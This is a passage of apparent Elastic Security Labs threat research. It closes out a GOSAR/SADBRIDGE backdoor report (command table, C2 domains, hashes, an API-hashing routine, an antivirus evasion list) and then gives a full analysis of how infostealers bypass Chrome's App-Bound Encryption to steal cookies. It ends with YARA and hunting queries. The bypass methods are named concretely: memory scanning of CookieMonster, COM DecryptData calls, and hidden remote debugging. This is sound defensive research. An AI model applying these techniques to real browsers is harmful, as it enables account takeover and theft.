| ResolveGetRunLogs | Get available logs |
| ResolveHVNCCommand | Execute a HVNC command |
| ResolveGetHVNCScreen | Initiate HVNC |
| ResolveStopHVNC | Stop the HVNC session |
| ResolveDoHVNCKeyboardEvent | Send keyboard event to the HVNC |
| ResolveDoHVNCMouseEvent | Send mouse event to the HVNC |
| ResolveDoExecutePlugin | Execute a plugin |
| ResolveGetProcesses | Get a list of running processes |
| ResolveDoProcessStart | Start a process |
| ResolveDoProcessEnd | Kill a process |
| ResolveGetBitmapInfo | Retrieve the BITMAPINFO structure for the current screen's display settings |
| ResolveGetMonitors | Enumerate victim’s display monitors with EnumDisplayMonitors API |
| ResolveGetDesktop | Start screen capture functionality |
| ResolveStopGetDesktop | Stop the screen capture functionality |
| ResolveNewShellExecute | Opens pipes to a spawned cmd.exe process and send commands to it |
| ResolveGetSchTasks | Get scheduled tasks by running the command schtasks /query /fo list /v |
| ResolveGetScreenshot | Capture a screenshot of the victim’s desktop |
| ResolveGetServices | Get the list of services with a WMI query: select * from Win32_Service |
| ResolveDoServiceOperation | Start or stop a service |
| ResolveDoDisableMultiLogon | Disable multiple session by user by setting the value fSingleSessionPerUser to 1 under the key HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\TerminalServer |
| ResolveDoRestoreNLA | Restores the security settings for Remote Desktop Protocol (RDP), enabling Network Level Authentication (NLA) and enforcing SSL/TLS encryption for secure communication. |
| ResolveGetRemoteClientInformation | Get a list of all local users that are enabled, the RDP port and LAN IP and OS specific information: DisplayVersion, SystemRoot and CurrentBuildNumber extracted from the registry key HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion |
| ResolveDoInstallWrapper | Setup a Hidden Remote Desktop Protocol (HRDP) |
| ResolveDoUninstallWrapper | Uninstall HRDP |
| ResolveDoRecoverPrivileges | Restores the original HKEY_LOCAL_MACHINE\\SAM\\SAM registry before changes were made during the installation of the HRDP |
| ResolveGetRemoteSessions | Retrieve information about the RDP sessions on the machine. |
| ResolveDoLogoffSession | Logoff RDP session with WTSLogoffSession API  |
| ResolveGetSystemInfo | Get system information |
| ResolveGetConnections | Get all the connections in the machine |
| ResolveDoCloseConnection | Not implemented |
Malware and MITRE ATT\&CK
Elastic uses the MITRE ATT\&CK framework to document common tactics, techniques, and procedures that threats use against enterprise networks.
Tactics
Tactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.

Collection  
Command and Control  
Defense Evasion  
Discovery  
Execution  
Exfiltration  
Persistence  
Privilege Escalation

Techniques
Techniques represent how an adversary achieves a tactical goal by performing an action.

Hijack Execution Flow: DLL Side-Loading  
Input Capture: Keylogging  
Process Injection: Asynchronous Procedure Call  
Process Discovery  
Hide Artifacts: Hidden Window  
Create or Modify System Process: Windows Service  
Non-Standard Port  
Abuse Elevation Control Mechanism: Bypass User Account Control  
Obfuscated Files or Information  
Impair Defenses: Disable or Modify Tools  
Virtualization/Sandbox Evasion: Time Based Evasion

Mitigating REF3864
Detection

Potential Antimalware Scan Interface Bypass via PowerShell  
Unusual Print Spooler Child Process  
Execution from Unusual Directory - Command Line  
External IP Lookup from Non-Browser Process  
Unusual Parent-Child Relationship  
Unusual Network Connection via DllHost  
Unusual Persistence via Services Registry  
Parent Process PID Spoofing

Prevention

Network Connection via Process with Unusual Arguments  
Potential Masquerading as SVCHOST  
Network Module Loaded from Suspicious Unbacked Memory  
UAC Bypass via ICMLuaUtil Elevated COM Interface  
Potential Image Load with a Spoofed Creation Time

YARA
Elastic Security has created YARA rules to identify this activity. 

Multi.Trojan.Gosar  
Windows.Trojan.SadBridge

Observations
The following observables were discussed in this research:
| Observable | Type | Name | Reference |
| :---- | :---- | :---- | :---- |
| opera-x[.]net | domain-name |  | Landing page |
| teledown-cn[.]com | domain-name |  | Landing page |
| 15af8c34e25268b79022d3434aa4b823ad9d34f3efc6a8124ecf0276700ecc39 | SHA-256 | NetFxRepairTools.msi | MSI |
| accd651f58dd3f7eaaa06df051e4c09d2edac67bb046a2dcb262aa6db4291de7 | SHA-256 | x64bridge.dll | SADBRIDGE |
| 7964a9f1732911e9e9b9e05cd7e997b0e4e2e14709490a1b657673011bc54210 | SHA-256 |  | GOSAR |
| ferp.googledns[.]io | domain-name |  | GOSAR C2 Server |
| hk-dns.secssl[.]com | domain-name |  | GOSAR C2 Server |
| hk-dns.winsiked[.]com | domain-name |  | GOSAR C2 Server |
| hk-dns.wkossclsaleklddeff[.]is | domain-name |  | GOSAR C2 Server |
| hk-dns.wkossclsaleklddeff[.]io | domain-name |  | GOSAR C2 Server |
References
The following were referenced throughout the above research:

https://zcgonvh.com/post/Advanced_Windows_Task_Scheduler_Playbook-Part.2_from_COM_to_UAC_bypass_and_get_SYSTEM_dirtectly.html  
https://www.sonicwall.com/blog/project-androm-backdoor-trojan  
https://www.safebreach.com/blog/process-injection-using-windows-thread-pools/  
https://gist.github.com/api0cradle/d4aaef39db0d845627d819b2b6b30512 

Appendix
Hashing algorithm (SADBRIDGE)
def ror(x, n, max_bits=32) -> int:
    """Rotate right within a max bit limit, default 32-bit."""
    n %= max_bits
    return ((x >> n) | (x << (max_bits - n))) & (2**max_bits - 1)

def ror_13(data) -> int:
    data = data.encode('ascii')
    hash_value = 0

    for byte in data:
        hash_value = ror(hash_value, 13)

        if byte >= 0x61:
            byte -= 32  # Convert to uppercase
        hash_value = (hash_value + byte) & 0xFFFFFFFF

    return hash_value


def generate_hash(data, dll) -> int:
    dll_hash = ror_13(dll)
    result = (dll_hash + ror_13(data)) & 0xFFFFFFFF

    return hex(result)

AV products checked in GOSAR
| 360sd.exe | kswebshield.exe |
| :---: | :---: |
| 360tray.exe | kvmonxp.exe |
| a2guard.exe | kxetray.exe |
| ad-watch.exe | mcshield.exe |
| arcatasksservice.exe | mcshield.exe |
| ashdisp.exe | miner.exe |
| avcenter.exe | mongoosagui.exe |
| avg.exe | mpmon.exe |
| avgaurd.exe | msmpeng.exe |
| avgwdsvc.exe | mssecess.exe |
| avk.exe | nspupsvc.exe |
| avp.exe | ntrtscan.exe |
| avp.exe | patray.exe |
| avwatchservice.exe | pccntmon.exe |
| ayagent.aye | psafesystray.exe |
| baidusdsvc.exe | qqpcrtp.exe |
| bkavservice.exe | quhlpsvc.EXE |
| ccapp.exe | ravmond.exe |
| ccSetMgr.exe | remupd.exe |
| ccsvchst.exe | rfwmain.exe |
| cksoftshiedantivirus4.exe | rtvscan.exe |
| cleaner8.exe | safedog.exe |
| cmctrayicon.exe | savprogress.exe |
| coranticontrolcenter32.exe | sbamsvc.exe |
| cpf.exe | spidernt.exe |
| egui.exe | spywareterminatorshield.exe |
| f-prot.EXE | tmbmsrv.exe |
| f-prot.exe | unthreat.exe |
| f-secure.exe | usysdiag.exe |
| fortitray.exe | v3svc.exe |
| hipstray.exe | vba32lder.exe |
| iptray.exe | vsmon.exe |
| k7tsecurity.exe | vsserv.exe |
| knsdtray.exe | wsctrl.exe |
| kpfwtray.exe | yunsuo_agent_daemon.exe |
| ksafe.exe | yunsuo_agent_service.exe |


Katz and Mouse Game:  MaaS Infostealers Adapt to Patched Chrome Defenses
Mon, 28 Oct 2024 00:00:00 GMT
In July, Google announced a new protection mechanism for cookies stored within Chrome on Windows, known as Application-Bound Encryption. There is no doubt this security implementation has raised the bar and directly impacted the malware ecosystem. After months with this new feature, many infostealers have written new code to bypass this protection (as the Chrome Security Team predicted) in order to stay competitive in the market and deliver capabilities that reliably retrieve cookie data from Chrome browsers.
Elastic Security Labs has been tracking a subset of this activity, identifying multiple techniques used by different malware families to circumvent App-Bound Encryption. While the ecosystem is still evolving in light of this pressure, our goal is to share technical details that help organizations understand and defend against these techniques. In this article, we will cover the different methods used by the following infostealer families:

STEALC/VIDAR
METASTEALER
PHEMEDRONE
XENOSTEALER
LUMMA

Key takeaways

Latest versions of infostealers implement bypasses around Google’s recent cookie protection feature using Application-Bound Encryption
Techniques include integrating offensive security tool ChromeKatz, leveraging COM to interact with Chrome services and decrypt the app-bound encryption key, and using the remote debugging feature within Chrome
Defenders should actively monitor for different cookie bypass techniques against Chrome on Windows in anticipation of future mitigations and bypasses likely to emerge in the near- to mid-term
Elastic Security provides mitigations through memory signatures, behavioral rules, and hunting opportunities to enable faster identification and response to infostealer activity

Background
Generically speaking, cookies are used by web applications to store visitor information in the browser the visitor uses to access that web app. This information helps the web app track that user, their preferences, and other information from location to location– even across devices.
The authentication token is one use of the client-side data storage structures that enables much of how modern web interactivity works. These tokens are stored by the browser after the user has successfully authenticated with a web application. After username and password, after multifactor authentication (MFA) via one-time passcodes or biometrics, the web application “remembers” your browser is you via the exchange of this token with each subsequent web request.
A malicious actor who gets access to a valid authentication token can reuse it to impersonate the user to that web service with the ability to take over accounts, steal personal or financial information, or perform other actions as that user such as transfer financial assets.
Cybercriminals use infostealers to steal and commoditize this type of information for their financial gain.
Google Chrome Cookie Security
Legacy versions of Google Chrome on Windows used the Windows native Data Protection API (DPAPI) to encrypt cookies and protect them from other user contexts. This provided adequate protection against several attack scenarios, but any malicious software running in the targeted user’s context could decrypt these cookies using the DPAPI methods directly. Unfortunately, this context is exactly the niche that infostealers often find themselves in after social engineering for initial access. The DPAPI scheme is now well known to attackers with several attack vectors; from local decryption using the API, to stealing the masterkey and decrypting remotely, to abusing the domain-wide backup DPAPI key in an enterprise environment.
With the release of Chrome 127 in July 2024, Google implemented Application-Bound Encryption of browser data. This mechanism directly addressed many common DPAPI attacks against Windows Chrome browser data–including cookies. It does this by storing the data in encrypted datafiles, and using a service running as SYSTEM to verify any decryption attempts are coming from the Chrome process before returning the key to that process for decryption of the stored data.

While it is our view that this encryption scheme is not a panacea to protect all browser data (as the Chrome Security Team acknowledges in their release) we do feel it has been successful in driving malware authors to TTPs that are more overtly malicious, and easier for defenders to identify and respond to.
Stealer Bypass Techniques, Summarized
The following sections will describe specific infostealer techniques used to bypass Google’s App-Bound Encryption feature as observed by Elastic. Although this isn’t an exhaustive compilation of bypasses, and development of these families is ongoing, they represent an interesting dynamic within the infostealer space showing how malware developers responded to Google’s recently updated security control. The techniques observed by our team include:

Remote debugging via Chrome’s DevTools Protocol
Reading process memory of Chrome network service process (ChromeKatz and ReadProcessMemory (RPM))
Elevating to SYSTEM then decrypting app_bound_encryption_key with the DecryptData method of GoogleChromeElevationService through COM


STEALC/VIDAR
Our team observed new code introduced to STEALC/VIDAR related to the cookie bypass technique around September 20th. These were atypical samples that stood out from previous versions and were implemented as embedded 64-bit PE files along with conditional checks. Encrypted values in the SQLite databases where Chrome stores its data are now prefixed with v20, indicating that the values are now encrypted using application-bound encryption.

  STEALC was introduced in 2023 and was developed with “heavy inspiration” from other more established stealers such as RACOON and VIDAR. STEALC and VIDAR have continued concurrent development, and in the case of App-Bound Encryption bypasses have settled on the same implementation.

During the extraction of encrypted data from the databases the malware checks for this prefix. If it begins with v20, a child process is spawned using the embedded PE file in the .data section of the binary. This program is responsible for extracting unencrypted cookie values residing in one of Chrome's child processes. 

This embedded binary creates a hidden desktop via OpenDesktopA / CreateDesktopA then uses CreateToolhelp32Snapshot to scan and terminate all chrome.exe processes. A new chrome.exe process is then started with the new desktop object. Based on the installed version of Chrome, the malware selects a signature pattern for the Chromium feature CookieMonster, an internal component used to manage cookies.

CookieMonster" title="Signature pattern for CookieMonster" />

We used the signature patterns to pivot to existing code developed for an offensive security tool called ChromeKatz. At this time, the patterns have been removed from the ChromeKatz repository and replaced with a new technique. Based on our analysis, the malware author appears to have reimplemented ChromeKatz within STEALC in order to bypass the app-bound encryption protection feature.

Once the malware identifies a matching signature, it enumerates Chrome’s child processes to check for the presence of the --utility-sub-type=network.mojom.NetworkService command-line flag. This flag indicates that the process is the network service responsible for handling all internet communication. It becomes a prime target as it holds the sensitive data the attacker seeks, as described in MDSec’s post. It then returns a handle for that specific child process.

Next, it enumerates each module in the network service child process to find and retrieve the base address and size of chrome.dll loaded into memory. STEALC uses CredentialKatz::FindDllPattern and CookieKatz::FindPattern to locate the CookieMonster instances. There are 2 calls to CredentialKatz::FindDllPattern.

CredentialKatz::FindDllPattern" title="Calls to CredentialKatz::FindDllPattern" />

In the first call to CredentialKatz::FindDllPattern, it tries to locate one of the signature patterns (depending on the victim’s Chrome version) in chrome.dll. Once found, STEALC now has a reference pointer to that memory location where the byte sequence begins which is the function net::CookieMonster::~CookieMonster, destructor of the CookieMonster class.

net::CookieMonster::~CookieMonster found in chrome.dll" title="Byte sequence for net::CookieMonster::~CookieMonster found in chrome.dll" />

The second call to CredentialKatz::FindDllPattern passes in the function address for net::CookieMonster::~CookieMonster(void) as an argument for the byte sequence search, resulting in STEALC having a pointer to CookieMonster’s Virtual Function Pointer struct.

CookieMonster’s vtable in chrome.dll" title="CookieMonster’s vtable in chrome.dll" />

The following method used by STEALC is again, identical to ChromeKatz, where it locates CookieMonster instances by scanning memory chunks in the chrome.dll module for pointers referencing the CookieMonster vtable. Since the vtable is a constant across all objects of a given class, any CookieMonster object will have the same vtable pointer. When a match is identified, STEALC treats the memory location as a CookieMonster instance and stores its address in an array.

CookieKatz::FindPattern to locate CookieMonster instances" title="Using CookieKatz::FindPattern to locate CookieMonster instances" />

For each identified CookieMonster instance, STEALC accesses the internal CookieMap structure located at an offset of +0x30, and which is a binary tree. Each node within this tree contains pointers to CanonicalCookieChrome structures. CanonicalCookieChrome structures hold unencrypted cookie data, making it accessible for extraction. STEALC then initiates a tree traversal by passing the first node into a dedicated traversal function.

CookieMap tree traversal for each CookieMonster instance found" title="Initiating CookieMap tree traversal for each CookieMonster instance found" />

For each node, it calls ReadProcessMemory to access the CanonicalCookieChrome structure from the target process’s memory, then further processing it in jy::GenerateExfilString.

CookieMap traversal subroutine" title="CookieMap traversal subroutine" />

STEALC formats the extracted cookie data by converting the expiration date to UNIX format and verifying the presence of the HttpOnly and Secure flags. It then appends details such as the cookie's name, value, domain, path, and the HttpOnly and Secure into a final string for exfiltration. OptimizedString structs are used in place of strings, so string values can either be the string itself, or if the string length is greater than 23, it will point to the address storing the string.

METASTEALER

METASTEALER, first observed in 2022, recently upgraded its ability to steal Chrome data, bypassing Google’s latest mitigation efforts. On September 30th, the malware authors announced this update via their Telegram channel, highlighting its enhanced capability to extract sensitive information, including cookies, despite the security changes in Chrome's version 129+.

The first sample observed in the wild by our team was discovered on September 30th, the same day the authors promoted the update. Despite claims that the malware operates without needing Administrator privileges, our testing revealed it does require elevated access, as it attempts to impersonate the SYSTEM token during execution.

As shown in the screenshots above, the get_decryption method now includes a new Boolean parameter. This value is set to TRUE if the encrypted data (cookie) begins with the v20 prefix, indicating that the cookie is encrypted using Chrome's latest encryption method. The updated function retains backward compatibility, still supporting the decryption of cookies from older Chrome versions if present on the infected machine.

The malware then attempts to access the Local State or LocalPrefs.json files located in the Chrome profile directory. Both files are JSON formatted and store encryption keys (encrypted_key) for older Chrome versions and app_bound_encrypted_key for newer ones. If the flag is set to TRUE, the malware specifically uses the app_bound_encrypted_key to decrypt cookies in line with the updated Chrome encryption method.

app_bound_encrypted_key extracted from Chrome json file" title="app_bound_encrypted_key extracted from Chrome json file" />

In this case, the malware first impersonates the SYSTEM token using a newly introduced class called ContextSwitcher.

It then decrypts the key by creating an instance via the COM of the Chrome service responsible for decryption, named GoogleChromeElevationService, using the CLSID 708860E0-F641-4611-8895-7D867DD3675B. Once initialized, it invokes the DecryptData method to decrypt the app_bound_encrypted_key key which will be used to decrypt the encrypted cookies.

ComInvoker to invoke methods from GoogleChromeElevationService service" title="New class ComInvoker to invoke methods from GoogleChromeElevationService service" />

METASTEALER employs a technique similar to the one demonstrated in a gist shared on X on September 27th, which may have served as inspiration for the malware authors. Both approaches leverage similar methods to bypass Chrome's encryption mechanisms and extract sensitive data.

PHEMEDRONE

This open-source stealer caught the world’s attention earlier in the year through its usage of a Windows SmartScreen vulnerability (CVE-2023-36025). While its development is still occurring on Telegram, our team found a recent release (2.3.2) submitted at the end of September including new cookie grabber functionality for Chrome.

README.txt within PHEMEDRONE project" title="README.txt within PHEMEDRONE project" />

The malware first enumerates the different profiles within Chrome, then performs a browser check using function (BrowserHelpers.NewEncryption) checking for the Chrome browser with a version greater than or equal to 127.

If the condition matches, PHEMEDRONE uses a combination of helper functions to extract the cookies.

By viewing the ChromeDevToolsWrapper class and its different functions, we can see that PHEMEDRONE sets up a remote debugging session within Chrome to access the cookies. The default port (9222) is used along with window-position set to -2400,-2400 which is set off-screen preventing any visible window from alerting the victim.

Next, the malware establishes a WebSocket connection to Chrome’s debugging interface making a request using deprecated Chrome DevTools Protocol method (Network.getAllCookies).

The cookies are then returned from the previous request in plaintext, below is a network capture showing this behavior:

XENOSTEALER

XENOSTEALER is an open-source infostealer hosted on GitHub. It appeared in July 2024 and is under active development at the time of this publication. Notably, the Chrome bypass feature was committed on September 26, 2024.

The approach taken by XENOSTEALER is similar to that of METASTEALER. It first parses the JSON file under a given Chrome profile to extract the app_bound_encrypted_key. However, the decryption process occurs within a Chrome process. To achieve this, XENOSTEALER launches an instance of Chrome.exe, then injects code using a helper class called SharpInjector, passing the encrypted key as a parameter.

The injected code subsequently calls the DecryptData method from the GoogleChromeElevationService to obtain the decrypted key.

LUMMA

In mid-October, the latest version of LUMMA implemented a new method to bypass Chrome cookie protection, as reported by @g0njxa.

We analyzed a recent version of LUMMA, confirming that it managed to successfully recover the cookie data from the latest version of Google Chrome (130.0.6723.70). LUMMA first creates a visible Chrome process via Kernel32!CreateProcessW.

CreateProcessW lpApplicationName parameter" title="Dump of CreateProcessW lpApplicationName parameter" />

This activity was followed up in the debugger with multiple calls to NtReadVirtualMemory where we identified LUMMA searching within the Chrome process for chrome.dll.

chrome.dll in Chrome" title="LUMMA seeks chrome.dll in Chrome" />

Once found, the malware copies the chrome.dll image to its own process memory using NtReadVirtualMemory. In a similar fashion to the ChromeKatz technique, Lumma leverages pattern scanning to target Chrome’s CookieMonster component.

Lumma uses an obfuscated signature pattern to pinpoint the CookieMonster functionality:

3Rf5Zn7oFA2a????k4fAsdxx????l8xX5vJnm47AUJ8uXUv2bA0s34S6AfFA????kdamAY3?PdE????6G????L8v6D8MJ4uq????k70a?oAj7a3????????K3smA????maSd?3l4

Below is the YARA rule after de-obfuscation:

rule lumma_stealer
{
  meta:
    author = "Elastic Security Labs"
  strings:
    $lumma_pattern = { 56 57 48 83 EC 28 89 D7 48 89 CE E8 ?? ?? ?? ?? 85 FF 74 08 48 89 F1 E8 ?? ?? ?? ?? 48 89 F0 48 83 C4 28 5F 5E C3 CC CC CC CC CC CC CC CC CC CC 56 57 48 83 EC 38 48 89 CE 48 8B 05 ?? ?? ?? ?? 48 31 E0 48 89 44 24 ?? 48 8D 79 ?? ?? ?? ?? 28 E8 ?? ?? ?? ?? 48 8B 46 20 48 8B 4E 28 48 8B 96 ?? ?? ?? ?? 4C 8D 44 24 ?? 49 89 10 48 C7 86 ?? ?? ?? ?? ?? ?? ?? ?? 48 89 FA FF 15 ?? ?? ?? ?? 48 8B 4C 24 ?? 48 31 E1}
  condition:
    all of them
}

After decoding and searching for the pattern in chrome.dll, this leads to the CookieMonster destructor (net::CookieMonster::~CookieMonster).

CookieMonster" title="Lumma pattern match on CookieMonster" />

The cookies are then identified in memory and dumped out in clear text from the Chrome process.

Once completed, LUMMA sends out the cookies along with the other requested data as multiple zip files (xor encrypted and base64 encoded) to the C2 server.

Detection

Below are the following behavioral detections that can be used to identify techniques used by information stealers:

Additionally, the following queries can be used for hunting diverse related abnormal behaviors:

Cookies access by an unusual process

This query uses file open events and aggregate accesses by process, then looks for ones that are observed in unique hosts and with a low total access count:

FROM logs-endpoint.events.file-default*
| where event.category == "file" and event.action == "open" and file.name == "Cookies" and file.path like "*Chrome*"
| keep file.path, process.executable, agent.id
| eval process_path = replace(to_lower(process.executable), """c:\\users\\[a-zA-Z0-9\.\-\_\$]+\\""", "c:\\\\users\\\\user\\\\")
| stats agents_count = COUNT_DISTINCT(agent.id), access_count= count(*) by process_path
| where agents_count <= 2 and access_count <=2

Below example of matches from diverse information stealers including the updated ones with new Chrome cookies stealing capabilities:

METASTEALER behavior tends to first terminate all running chrome instances then calls CoCreateInstance to instantiate the Google Chrome elevation service, this series of events can be expressed with the following EQL query:

sequence by host.id with maxspan=1s
[process where event.action == "end" and process.name == "chrome.exe"] with runs=5
[process where event.action == "start" and process.name == "elevation_service.exe"]

The previous hunt indicates suspicious agents but doesn't identify the source process. By enabling registry object access auditing through event 4663 on the Chrome Elevation service CLSID registry key {708860E0-F641-4611-8895-7D867DD3675B}, we can detect unusual processes attempting to access that key:

FROM logs-system.security-default* | where event.code == "4663" and winlog.event_data.ObjectName == "\\REGISTRY\\MACHINE\\SOFTWARE\\Classes\\CLSID\\{708860E0-F641-4611-8895-7D867DD3675B}" and not winlog.event_data.ProcessName in ("C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe", "C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe") and not winlog.event_data.ProcessName like "C:\\\\Program Files\\\\Google\\\\Chrome\\\\Application\\\\*\\\\elevation_service.exe" | stats agents_count = COUNT_DISTINCT(agent.id), access_count= count(*) by winlog.event_data.ProcessName | where agents_count <= 2 and access_count <=2

Below is an example of matches on the METASTEALER malware while calling CoCreateInstance (CLSID_Elevator):

The PHEMEDRONE stealer uses the known browser debugging method to collect cookies via Chromium API, this can be observed in the following screenshot where we can see an instance of NodeJs communicating with a browser instance with debugging enabled over port 9222:

9222" title="PHEMEDRONE - network connection to chrome over port 9222" />

The following EQL query can be used to look for unusual processes performing similar behavior:

sequence by host.id, destination.port with maxspan=5s
[network where event.action == "disconnect_received" and
 network.direction == "ingress" and
 process.executable in~ ("C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe",
"C:\\Program Files\\Microsoft\\Edge\\Application\\msedge.exe") and
 source.address like "127.*" and destination.address like "127.*"]
[network where event.action == "disconnect_received" and network.direction == "egress" and not
 process.executable in~ ("C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe",
"C:\\Program Files\\Microsoft\\Edge\\Application\\msedge.exe") and source.address like "127.*" and destination.address like "127.*"]

Chrome Browser Spawned from an Unusual Parent

The STEALC sample that uses ChromeKatz implementation spawns an instance of Google Chrome to load the user default profile, while looking for normal parent executables, it turns out it’s limited to Chrome signed parents and Explorer.exe, the following ES|QL query can be used to find unusual parents:

FROM logs-endpoint.events.process-*
| where event.category == "process" and event.type == "start" and to_lower(process.name) == "chrome.exe" and process.command_line like  "*--profile-directory=Default*"
| eval process_parent_path = replace(to_lower(process.parent.executable), """c:\\users\\[a-zA-Z0-9\.\-\_\$]+\\""", "c:\\\\users\\\\user\\\\")
| stats agents_count = COUNT_DISTINCT(agent.id), total_executions = count(*) by process_parent_path
| where agents_count == 1 and total_executions <= 10

Untrusted Binaries from Chrome Application folder

Since the Chrome elevation service trusts binaries running from the Chrome program files folder, the following queries can be used to hunt for unsigned or untrusted binaries executed or loaded from there:

Unsigned DLLs loaded from google chrome application folder

FROM logs-endpoint.events.library*
| where event.category == "library" and event.action == "load" and to_lower(dll.path) like "c:\\\\program files\\\\google\\\\chrome\\\\application\\\\*" and not (dll.code_signature.trusted == true)
| keep process.executable, dll.path, dll.hash.sha256, agent.id
| stats agents_count = COUNT_DISTINCT(agent.id), total_executions = count(*) by process.executable, dll.path, dll.hash.sha256
| where agents_count == 1 and total_executions <= 10

Unsigned executable launched from google chrome application folder

FROM logs-endpoint.events.process*
| where event.category == "library" and event.type == "start" and (to_lower(process.executable) like "c:\\\\program files\\\\google\\\\chrome\\\\application\\\\*" or to_lower(process.executable) like "c:\\\\scoped_dir\\\\program files\\\\google\\\\chrome\\\\application\\\\*")
and not (process.code_signature.trusted == true and process.code_signature.subject_name == "Goole LLC")
| keep process.executable,process.hash.sha256, agent.id
| stats agents_count = COUNT_DISTINCT(agent.id), total_executions = count(*) by process.executable, process.hash.sha256
| where agents_count == 1 and total_executions <= 10

Conclusion

Google has raised the bar implementing new security controls to protect cookie data within Chrome. As expected, this has caused malware developers to develop or integrate their own bypasses. We hope Google will continue to innovate to provide stronger protection for user data.

Organizations and defenders should consistently monitor for unusual endpoint activity. While these new techniques may be successful, they are also noisy and detectable with the right security instrumentation, processes, and personnel.

Stealer Bypasses and MITRE ATT&CK

Elastic uses the MITRE ATT&CK framework to document common tactics, techniques, and procedures that threats use against enterprise networks.

Tactics

Tactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.

Techniques

Techniques represent how an adversary achieves a tactical goal by performing an action.

YARA

Elastic Security has created YARA rules to identify this activity.

Observations

All observables are also available for download in both ECS and STIX format.

The following observables were discussed in this research.

| Observable | Type | Name | Reference | |-----|-----|-----|-----| | 27e4a3627d7df2b22189dd4bebc559ae1986d49a8f4e35980b428fadb66cf23d | SHA-256 | num.exe | STEALC | | 08d9d4e6489dc5b05a6caa434fc36ad6c1bd8c8eb08888f61cbed094eac6cb37 | SHA-256 | HardCoreCrack.exe | PHEMEDRONE | | 43cb70d31daa43d24e5b063f4309281753176698ad2aba9c557d80cf710f9b1d | SHA-256 | Ranginess.exe | METASTEALER | | 84033def9ffa70c7b77ce9a7f6008600c0145c28fe5ea0e56dfafd8474fb8176 | SHA-256 | | LUMMA | | b74733d68e95220ab0630a68ddf973b0c959fd421628e639c1b91e465ba9299b | SHA-256 | XenoStealer.exe | XENOSTEALER |

References

The following were referenced throughout the above research: